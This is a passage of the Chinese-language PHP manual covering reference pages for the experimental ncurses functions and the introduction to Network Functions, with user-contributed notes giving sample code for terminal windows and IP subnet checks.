(PHP 4 >= 4.1.0, PHP 5)

ncurses_slk_attrset -- Set given attributes for soft function-key labels

Description

int ncurses_slk_attrset ( int intarg )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_slk_attron | 上一级 | ncurses_slk_clear


ncurses_slk_clear

(PHP 4 >= 4.1.0, PHP 5)

ncurses_slk_clear -- Clears soft labels from screen

Description

bool ncurses_slk_clear ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

The function ncurses_slk_clear() clears soft label keys from screen. Returns TRUE on error, otherwise FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_slk_attrset | 上一级 | ncurses_slk_color


ncurses_slk_color

(PHP 4 >= 4.1.0, PHP 5)

ncurses_slk_color -- Sets color for soft label keys

Description

int ncurses_slk_color ( int intarg )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_slk_clear | 上一级 | ncurses_slk_init


ncurses_slk_init

(PHP 4 >= 4.1.0, PHP 5)

ncurses_slk_init -- Initializes soft label key functions

Description

bool ncurses_slk_init ( int format )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Function ncurses_slk_init() must be called before ncurses_initscr() or ncurses_newterm() is called. If ncurses_initscr() eventually uses a line from stdscr to emulate the soft labels, then format determines how the labels are arranged of the screen. Setting format to 0 indicates a 3-2-3 arrangement of the labels, 1 indicates a 4-4 arrangement and 2 indicates the PC like 4-4-4 mode, but in addition an index line will be created.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_slk_color | 上一级 | ncurses_slk_noutrefresh


ncurses_slk_noutrefresh

(PHP 4 >= 4.1.0, PHP 5)

ncurses_slk_noutrefresh -- Copies soft label keys to virtual screen

Description

bool ncurses_slk_noutrefresh ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_slk_init | 上一级 | ncurses_slk_refresh


ncurses_slk_refresh

(PHP 4 >= 4.1.0, PHP 5)

ncurses_slk_refresh -- Copies soft label keys to screen

Description

bool ncurses_slk_refresh ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_slk_refresh() copies soft label keys from virtual screen to physical screen. Returns TRUE on error, otherwise FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_slk_noutrefresh | 上一级 | ncurses_slk_restore


ncurses_slk_restore

(PHP 4 >= 4.1.0, PHP 5)

ncurses_slk_restore -- Restores soft label keys

Description

bool ncurses_slk_restore ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

The function ncurses_slk_restore() restores the soft label keys after ncurses_slk_clear() has been performed.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_slk_refresh | 上一级 | ncurses_slk_set


ncurses_slk_set

(PHP 4 >= 4.2.0, PHP 5)

ncurses_slk_set -- Sets function key labels

Description

bool ncurses_slk_set ( int labelnr, string label, int format )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_slk_restore | 上一级 | ncurses_slk_touch


ncurses_slk_touch

(PHP 4 >= 4.1.0, PHP 5)

ncurses_slk_touch -- Forces output when ncurses_slk_noutrefresh is performed

Description

bool ncurses_slk_touch ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

The ncurses_slk_touch() function forces all the soft labels to be output the next time a ncurses_slk_noutrefresh() is performed.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_slk_set | 上一级 | ncurses_standend


ncurses_standend

(PHP 4 >= 4.1.0, PHP 5)

ncurses_standend -- Stop using 'standout' attribute

Description

int ncurses_standend ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_slk_touch | 上一级 | ncurses_standout


ncurses_standout

(PHP 4 >= 4.1.0, PHP 5)

ncurses_standout -- Start using 'standout' attribute

Description

int ncurses_standout ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_standend | 上一级 | ncurses_start_color


ncurses_start_color

(PHP 4 >= 4.1.0, PHP 5)

ncurses_start_color -- Start using colors

Description

int ncurses_start_color ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_standout | 上一级 | ncurses_termattrs


ncurses_termattrs

(PHP 4 >= 4.1.0, PHP 5)

ncurses_termattrs -- Returns a logical OR of all attribute flags supported by terminal

Description

bool ncurses_termattrs ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_start_color | 上一级 | ncurses_termname


ncurses_termname

(PHP 4 >= 4.2.0, PHP 5)

ncurses_termname -- Returns terminals (short)-name

Description

string ncurses_termname ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_termname() returns terminals shortname. The shortname is truncated to 14 characters. On error ncurses_termname() returns NULL.

See also: ncurses_longname()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_termattrs | 上一级 | ncurses_timeout


ncurses_timeout

(PHP 4 >= 4.1.0, PHP 5)

ncurses_timeout -- Set timeout for special key sequences

Description

void ncurses_timeout ( int millisec )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_termname | 上一级 | ncurses_top_panel


ncurses_top_panel

(PHP 4 >= 4.3.0, PHP 5)

ncurses_top_panel -- Moves a visible panel to the top of the stack

Description

int ncurses_top_panel ( resource panel )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_timeout | 上一级 | ncurses_typeahead


ncurses_typeahead

(PHP 4 >= 4.1.0, PHP 5)

ncurses_typeahead -- Specify different filedescriptor for typeahead checking

Description

int ncurses_typeahead ( int fd )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_top_panel | 上一级 | ncurses_ungetch


ncurses_ungetch

(PHP 4 >= 4.1.0, PHP 5)

ncurses_ungetch -- Put a character back into the input stream

Description

int ncurses_ungetch ( int keycode )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_typeahead | 上一级 | ncurses_ungetmouse


ncurses_ungetmouse

(PHP 4 >= 4.2.0, PHP 5)

ncurses_ungetmouse -- Pushes mouse event to queue

Description

bool ncurses_ungetmouse ( array mevent )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_getmouse() pushes a KEY_MOUSE event onto the unput queue and associates with this event the given state sata and screen-relative character cell coordinates, specified in mevent. Event options will be specified in associative array mevent:

  • "id" : Id to distinguish multiple devices

  • "x" : screen relative x-position in character cells

  • "y" : screen relative y-position in character cells

  • "z" : currently not supported

  • "mmask" : Mouse action

ncurses_ungetmouse() returns FALSE on success, otherwise TRUE.

See also: ncurses_getmouse()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_ungetch | 上一级 | ncurses_update_panels


ncurses_update_panels

(PHP 4 >= 4.3.0, PHP 5)

ncurses_update_panels -- Refreshes the virtual screen to reflect the relations between panels in the stack

Description

void ncurses_update_panels ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_ungetmouse | 上一级 | ncurses_use_default_colors


ncurses_use_default_colors

(PHP 4 >= 4.1.0, PHP 5)

ncurses_use_default_colors -- Assign terminal default colors to color id -1

Description

bool ncurses_use_default_colors ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_update_panels | 上一级 | ncurses_use_env


ncurses_use_env

(PHP 4 >= 4.1.0, PHP 5)

ncurses_use_env -- Control use of environment information about terminal size

Description

void ncurses_use_env ( bool flag )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_use_default_colors | 上一级 | ncurses_use_extended_names


ncurses_use_extended_names

(PHP 4 >= 4.1.0, PHP 5)

ncurses_use_extended_names -- Control use of extended names in terminfo descriptions

Description

int ncurses_use_extended_names ( bool flag )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_use_env | 上一级 | ncurses_vidattr


ncurses_vidattr

(PHP 4 >= 4.1.0, PHP 5)

ncurses_vidattr -- Display the string on the terminal in the video attribute mode

Description

int ncurses_vidattr ( int intarg )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_use_extended_names | 上一级 | ncurses_vline


ncurses_vline

(PHP 4 >= 4.2.0, PHP 5)

ncurses_vline -- Draw a vertical line at current position using an attributed character and max. n characters long

Description

int ncurses_vline ( int charattr, int n )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_vidattr | 上一级 | ncurses_waddch


ncurses_waddch

(PHP 4 >= 4.3.0, PHP 5)

ncurses_waddch -- Adds character at current position in a window and advance cursor

Description

int ncurses_waddch ( resource window, int ch )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_vline | 上一级 | ncurses_waddstr


ncurses_waddstr

(PHP 4 >= 4.2.0, PHP 5)

ncurses_waddstr -- Outputs text at current postion in window

Description

int ncurses_waddstr ( resource window, string str [, int n] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_waddch | 上一级 | ncurses_wattroff


ncurses_wattroff

(PHP 4 >= 4.3.0, PHP 5)

ncurses_wattroff -- Turns off attributes for a window

Description

int ncurses_wattroff ( resource window, int attrs )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_waddstr | 上一级 | ncurses_wattron


ncurses_wattron

(PHP 4 >= 4.3.0, PHP 5)

ncurses_wattron -- Turns on attributes for a window

Description

int ncurses_wattron ( resource window, int attrs )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_wattroff | 上一级 | ncurses_wattrset


ncurses_wattrset

(PHP 4 >= 4.3.0, PHP 5)

ncurses_wattrset -- Set the attributes for a window

Description

int ncurses_wattrset ( resource window, int attrs )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_wattron | 上一级 | ncurses_wborder


ncurses_wborder

(PHP 4 >= 4.3.0, PHP 5)

ncurses_wborder -- Draws a border around the window using attributed characters

Description

int ncurses_wborder ( resource window, int left, int right, int top, int bottom, int tl_corner, int tr_corner, int bl_corner, int br_corner )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_wborder() draws the specified lines and corners around the passed window window. Each parameter expects 0 to draw a line and 1 to skip it. The corners are top left, top right, bottom left and bottom right.

Use ncurses_border() for borders around the main window.

See also ncurses_border().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_wattrset | 上一级 | ncurses_wclear


ncurses_wclear

(PHP 4 >= 4.2.0, PHP 5)

ncurses_wclear -- Clears window

Description

int ncurses_wclear ( resource window )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_wborder | 上一级 | ncurses_wcolor_set


ncurses_wcolor_set

(PHP 4 >= 4.2.0, PHP 5)

ncurses_wcolor_set -- Sets windows color pairings

Description

int ncurses_wcolor_set ( resource window, int color_pair )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_wclear | 上一级 | ncurses_werase


ncurses_werase

(PHP 4 >= 4.3.0, PHP 5)

ncurses_werase -- Erase window contents

Description

int ncurses_werase ( resource window )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_wcolor_set | 上一级 | ncurses_wgetch


ncurses_wgetch

(PHP 4 >= 4.2.0, PHP 5)

ncurses_wgetch -- Reads a character from keyboard (window)

Description

int ncurses_wgetch ( resource window )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
john at bowlingball dot com
23-Feb-2006 12:19
By default ncurses_wgetch does not return keypad keys.  If you need to use function or arrow keys in a sub window, simply do this first.

ncurses_keypad($win, TRUE);
gf3 dot bm3 at gmail dot com
09-Oct-2004 07:41
Heres a function to get a string from a specific window and return it on ENTER.

// Dynamic String Input (converts INT ASCII to CHAR)
function ncurses_wgetstr($win){
   $strlen = 1;
   for ($sx=0;$sx<$strlen;$sx++){
       $strlen++;
       $ch = ncurses_wgetch($win);
       if ($ch == 13){
           return $str;
           break 2;
       }
       $str .= chr($ch);
   }
}

Example:

$ncurse = ncurses_init();
$fullscreen = ncurses_newwin (0,0,  0,0);
ncurses_border(0,0,  0,0,  0,0,  0,0);
ncurses_refresh();

while (1){
   $keyPressed = ncurses_wgetstr($fullscreen);
   ncurses_wrefresh($fullscreen);
}
add a note add a note

后退 | 起点 | 前进
ncurses_werase | 上一级 | ncurses_whline


ncurses_whline

(PHP 4 >= 4.3.0, PHP 5)

ncurses_whline -- Draws a horizontal line in a window at current position using an attributed character and max. n characters long

Description

int ncurses_whline ( resource window, int charattr, int n )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_wgetch | 上一级 | ncurses_wmouse_trafo


ncurses_wmouse_trafo

(PHP 4 >= 4.2.0, PHP 5)

ncurses_wmouse_trafo -- Transforms window/stdscr coordinates

Description

bool ncurses_wmouse_trafo ( resource window, int &y, int &x, bool toscreen )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_whline | 上一级 | ncurses_wmove


ncurses_wmove

(PHP 4 >= 4.2.0, PHP 5)

ncurses_wmove -- Moves windows output position

Description

int ncurses_wmove ( resource window, int y, int x )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_wmouse_trafo | 上一级 | ncurses_wnoutrefresh


ncurses_wnoutrefresh

(PHP 4 >= 4.2.0, PHP 5)

ncurses_wnoutrefresh -- Copies window to virtual screen

Description

int ncurses_wnoutrefresh ( resource window )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_wmove | 上一级 | ncurses_wrefresh


ncurses_wrefresh

(PHP 4 >= 4.2.0, PHP 5)

ncurses_wrefresh -- Refresh window on terminal screen

Description

int ncurses_wrefresh ( resource window )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
php at kormoc dot com
29-Nov-2005 01:08
Keep in mind, you need to do a ncurses_refresh before any window drawing options to display the window correctly.

for example
ncurses_wclear($window);
ncurses_wborder($window, 0, 0, 0, 0, 0, 0, 0, 0);
ncurses_wrefresh($window);

won't work correctly the first time though the loop (not sure why),

but throw on a ncruses_refresh at the top and it displays correctly
joeldegan AT yahoo.com
16-Dec-2002 04:24
Here is a functional example of drawing dynamic windows and refreshing them using ncurses_wrefresh.

This draws the main window, borders it, creates a small window borders it, creates a lower window and borders it as well. it also shows an example of doing a little backgrounding..

<?php
/*
the window will look somewhat like this...
+--------------------------------------+
|+---+                                  |
||  |                                  |
|+---+                                |
|                                        |
|+------------------------------------+|
||                                      ||
|+------------------------------------+|
+--------------------------------------+
*/

$n=0;
$a = ncurses_init();
ncurses_border(0,0, 0,0, 0,0, 0,0);
$z = ncurses_newwin ( 15, 15, 10, 10);

if(ncurses_has_colors()){
   ncurses_start_color();
       ncurses_init_pair(1,NCURSES_COLOR_RED,NCURSES_COLOR_BLACK);
       ncurses_init_pair(2,NCURSES_COLOR_BLUE,NCURSES_COLOR_BLACK);
       ncurses_init_pair(3,NCURSES_COLOR_YELLOW,NCURSES_COLOR_BLACK);
       ncurses_init_pair(4,NCURSES_COLOR_BLUE,NCURSES_COLOR_BLACK);
       ncurses_init_pair(5,NCURSES_COLOR_MAGENTA,NCURSES_COLOR_BLACK);
       ncurses_init_pair(6,NCURSES_COLOR_CYAN,NCURSES_COLOR_BLACK);
       ncurses_init_pair(7,NCURSES_COLOR_WHITE,NCURSES_COLOR_BLACK);
}//fi

while(1){
  for ($x=1; $x<80; $x++) {
   for ($y=1; $y<24; $y++) {
         $n++;
         ncurses_move($y,$x);
         ncurses_addch($n+64);
         ncurses_color_set($n%8);
         if($n>26)$n=0;
   }//rof
  }//rof

// border the main window
ncurses_border(0,0, 0,0, 0,0, 0,0);
ncurses_refresh();

// create a new little window and border it.
$z = ncurses_newwin ( 10, 10, 2, 2);
ncurses_wborder($z,0,0, 0,0, 0,0, 0,0); // undocumented function, border the window
ncurses_wrefresh($z); // show it

// get our maximum y and x values
$current = getmaxxy();
$lines = $current[1];
$cols = $current[0];

// create a lower window which is dynamically sized...
$c = ncurses_newwin (10, $cols-4, $lines-11, 2);
ncurses_wborder($c,0,0, 0,0, 0,0, 0,0); // border it
ncurses_wrefresh($c); // show it
ncurses_getch(); // wait for user to press key
ncurses_clear();// clear and then redraw..

}//wend

function getmaxxy(){
   $rez = `/usr/X11R6/bin/resize`;
   $rez = explode("\n",$rez);
   while(list($key,$val)=each($rez)){
       $a=explode("=",$val);
       if(trim($a[0])=="COLUMNS"){ $COLUMNS = $a[1]; }
       if(trim($a[0])=="LINES"){ $LINES = $a[1]; }
   }//
   $retval[0]=$COLUMNS;
   $retval[1]=$LINES;
   return $retval;
}

?>
add a note add a note

后退 | 起点 | 前进
ncurses_wnoutrefresh | 上一级 | ncurses_wstandend


ncurses_wstandend

(PHP 4 >= 4.3.0, PHP 5)

ncurses_wstandend -- End standout mode for a window

Description

int ncurses_wstandend ( resource window )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_wrefresh | 上一级 | ncurses_wstandout


ncurses_wstandout

(PHP 4 >= 4.3.0, PHP 5)

ncurses_wstandout -- Enter standout mode for a window

Description

int ncurses_wstandout ( resource window )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_wstandend | 上一级 | ncurses_wvline


ncurses_wvline

(PHP 4 >= 4.3.0, PHP 5)

ncurses_wvline -- Draws a vertical line in a window at current position using an attributed character and max. n characters long

Description

int ncurses_wvline ( resource window, int charattr, int n )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_wstandout | 上一级 | Network Functions


Network Functions

PHP 手册
后退 前进

LXXXVIII. Network Functions

简介

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Network Configuration Options

Name | Default | Changeable | Changelog
define_syslog_variables | "0" | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

define_syslog_variables boolean

Whether or not to define the various syslog variables (e.g. $LOG_PID, $LOG_CRON, etc.). Turning it off is a good idea performance-wise. At runtime, you can define these variables by calling define_syslog_variables().

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量作为 PHP 核心的一部分一直有效。

表格 2. openlog() Options

Constant | Description
LOG_CONS | if there is an error while sending data to the system logger, write directly to the system console
LOG_NDELAY | open the connection to the logger immediately
LOG_ODELAY | (default) delay opening the connection until the first message is logged
LOG_NOWAIT |
LOG_PERROR | print log message also to standard error
LOG_PID | include PID with each message

表格 3. openlog() Facilities

Constant | Description
LOG_AUTH | security/authorization messages (use LOG_AUTHPRIV instead in systems where that constant is defined)
LOG_AUTHPRIV | security/authorization messages (private)
LOG_CRON | clock daemon (cron and at)
LOG_DAEMON | other system daemons
LOG_KERN | kernel messages
LOG_LOCAL0 ... LOG_LOCAL7 | reserved for local use, these are not available in Windows
LOG_LPR | line printer subsystem
LOG_MAIL | mail subsystem
LOG_NEWS | USENET news subsystem
LOG_SYSLOG | messages generated internally by syslogd
LOG_USER | generic user-level messages
LOG_UUCP | UUCP subsystem

表格 4. syslog() Priorities (in descending order)

Constant | Description
LOG_EMERG | system is unusable
LOG_ALERT | action must be taken immediately
LOG_CRIT | critical conditions
LOG_ERR | error conditions
LOG_WARNING | warning conditions
LOG_NOTICE | normal, but significant, condition
LOG_INFO | informational message
LOG_DEBUG | debug-level message

表格 5. dns_get_record() Options

Constant | Description
DNS_A | IPv4 Address Resource
DNS_MX | Mail Exchanger Resource
DNS_CNAME | Alias (Canonical Name) Resource
DNS_NS | Authoritative Name Server Resource
DNS_PTR | Pointer Resource
DNS_HINFO | Host Info Resource (See IANA's Operating System Names for the meaning of these values)
DNS_SOA | Start of Authority Resource
DNS_TXT | Text Resource
DNS_ANY | Any Resource Record. On most systems this returns all resource records, however it should not be counted upon for critical uses. Try DNS_ALL instead.
DNS_AAAA | IPv6 Address Resource
DNS_ALL | Iteratively query the name server for each available record type.
目录
checkdnsrr -- Check DNS records corresponding to a given Internet host name or IP address
closelog -- Close connection to system logger
debugger_off -- Disable internal PHP debugger (PHP 3)
debugger_on -- Enable internal PHP debugger (PHP 3)
define_syslog_variables -- Initializes all syslog related constants
dns_check_record -- Synonym for checkdnsrr()
dns_get_mx -- Synonym for getmxrr()
dns_get_record -- Fetch DNS Resource Records associated with a hostname
fsockopen -- Open Internet or Unix domain socket connection
gethostbyaddr -- Get the Internet host name corresponding to a given IP address
gethostbyname -- Get the IP address corresponding to a given Internet host name
gethostbynamel -- Get a list of IP addresses corresponding to a given Internet host name
getmxrr -- Get MX records corresponding to a given Internet host name
getprotobyname -- Get protocol number associated with protocol name
getprotobynumber -- Get protocol name associated with protocol number
getservbyname -- Get port number associated with an Internet service and protocol
getservbyport -- Get Internet service which corresponds to port and protocol
inet_ntop -- Converts a packed internet address to a human readable representation
inet_pton -- Converts a human readable IP address to its packed in_addr representation
ip2long -- Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address
long2ip -- Converts an (IPv4) Internet network address into a string in Internet standard dotted format
openlog -- Open connection to system logger
pfsockopen -- Open persistent Internet or Unix domain socket connection
socket_get_status -- 别名 stream_get_meta_data()
socket_set_blocking -- 别名 stream_set_blocking()
socket_set_timeout -- 别名 stream_set_timeout()
syslog -- Generate a system log message

add a note add a note User Contributed Notes
metator at netcabo dot pt
28-Jul-2005 10:34
Ups. The function has a bug, though the example still works with it. Just replace the $_POST variables by the function parameters.

<?
function isIPIn($ip, $net, $mask) {
   //doesn't check for the return value of ip2long
   $ip = ip2long($ip);
   $rede = ip2long($net);
   $mask = ip2long($mask);

   //AND
   $res = $ip & $mask;

   return ($res == $rede);
}
?>
metator at netcabo dot pt
28-Jul-2005 11:22
Regarding samuele's note:

You can get faster code if you apply directly what happens in  network devices, such as routers. If you AND (logic operation) the remote ip against the local netmask the result will be the network ip if the remote ip is from the local network. Example:

   192.168.0.16 = 11000000.10101000.00000000.00010000
& 255.255.255.0 = 11111111.11111111.11111111.00000000
--------------------------------------------------------------
   192.168.0.0 = 11000000.10101000.00000000.00000000

And now the code. My example uses a html form where you place the values you want to test:

<HTML><HEAD><TITLE>Check IP</TITLE>
</HEAD><BODY>
   <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

Hope you find this useful.
       IP to check: <input type="text" name="ip"> <br>
       Local network ip: <input type="text" name="net"> <br>
       Local netmask: <input type="text" name="mask"> <br>
       <input type="submit" name="check" value="Check it!">
   </form>
   <?php

/**
 * @param string $ip IP to check in dotted decimal format
 * @param string $net Network IP in dotted decimal format
 * @param string $mask Netmask in dotted decimal format
 * @returns true if the ip belongs to the network, false otherwise
 **/
function isIPIn($ip, $net, $mask) {
   //doesn't check for the return value of ip2long
   $ip = ip2long($_POST['ip']);
   $rede = ip2long($_POST['net']);
   $mask = ip2long($_POST['mask']);

   //AND
   $res = $ip & $mask;

   return ($res == $rede);
}

if (isset($_POST['check'])) {
     echo isIPIn($_POST['ip'], $_POST['net'], $_POST['mask']) ? "IP IN.": "IP OUT.";
}
 ?>
</BODY><HTML>
nexxer at rogers dot com
25-Feb-2005 09:16
In Trevor Hemsley's translation of the perl range2cidr function, the

while ($end > $start)

condition should be

while ($end >= $start)

otherwise it won't work for /32s, ie if you feed range2cidr("1.2.3.4", "1.2.3.4").

-- nex
samuele at norsam dot org
26-Nov-2003 01:01
To find if an IP is in a net/mask (very fast):
<?php
function isIPIn($ip,$net,$mask) {
   $lnet=ip2long($net);
   $lip=ip2long($ip);
   $binnet=str_pad( decbin($lnet),32,"0","STR_PAD_LEFT" );
   $firstpart=substr($binnet,0,$mask);
   $binip=str_pad( decbin($lip),32,"0","STR_PAD_LEFT" );
   $firstip=substr($binip,0,$mask);
   return(strcmp($firstpart,$firstip)==0);
   }
?>

This function can be compacted, avoiding some variable settings, but the function will not be too clear to read...
Example code, used to made a kind of location service network-based:

<?php
$n = array ( "192.168.0.0/16"  => "TUSCANY",
             "192.168.1.0/24"  => "- Florence",
             "192.168.2.0/24"  => "- Pisa",
             "192.168.3.0/24"  => "- Siena",
             "192.168.64.0/21" => "- Tuscan Archipelago",
             "192.168.64.0/23" => "--- Elba Island",
             "192.168.66.0/24" => "--- Capraia Island",
             "192.168.67.0/24" => "--- Giannutri Island");

// Normally you should use the following line
$myip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
